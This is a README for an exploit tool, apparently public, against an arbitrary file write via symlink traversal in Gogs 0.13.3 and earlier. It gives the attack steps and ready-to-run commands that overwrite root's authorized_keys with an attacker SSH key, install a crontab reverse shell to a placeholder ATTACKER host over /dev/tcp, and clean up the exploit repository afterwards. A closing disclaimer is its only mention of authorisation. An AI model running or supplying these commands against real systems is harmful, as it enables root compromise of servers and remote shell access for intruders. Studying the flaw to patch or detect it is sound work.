CVE-2025-8110 — Gogs <= 0.13.3 Arbitrary File Write via Symlink Traversal

Overview

Gogs <= 0.13.3 is vulnerable to arbitrary file write through the PutContents API (/api/v1/repos/:owner/:repo/contents/:path).

The API validates file paths for directory-traversal sequences (../) but does not resolve symbolic links before writing. An authenticated user can push a commit containing a symlink pointing to any file on the server, then call PutContents on that symlink to overwrite the target file with attacker-controlled content.

When Gogs runs as root (the default in Docker and many deployments), this results in full system compromise.

Requirements

• Python 3.10+
• requests (pip install requests)
• git CLI
• A valid Gogs account (or open self-registration on the target)

Usage

# Self-register a throwaway account + write SSH pubkey for root
python3 CVE-2025-8110.py --url http://target:3001 --register \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# With existing credentials
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub

# Reverse shell via crontab
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /etc/crontab \
    --content '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'

# Cleanup the exploit repo after use
python3 CVE-2025-8110.py --url http://target:3001 -u user -p pass \
    --target-file /root/.ssh/authorized_keys --content-file ~/.ssh/id_rsa.pub --cleanup

How It Works

1. Authenticate — Log in (or self-register) and create an API token.
2. Create a repo — Initialize a new repository with a README via the web UI.
3. Push a symlink — Clone the repo locally, create a symlink pointing to the target file (e.g. /root/.ssh/authorized_keys), commit, and push.
4. Write through the symlink — Call the PutContents API on the symlink filename. Gogs resolves the symlink on disk and writes attacker content to the real file as the Gogs process user (often root).

Options

--url             Gogs base URL (e.g. http://target:3001)
-u, --user        Gogs username
-p, --password    Gogs password
--register        Self-register a throwaway account (no captcha)
--target-file     Absolute path to overwrite on the server
--content         String content to write
--content-file    Local file whose contents to write
--repo            Repo name to create (default: random)
--link-name       Symlink filename in the repo (default: payload)
--cleanup         Delete the exploit repo after writing

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Use responsibly.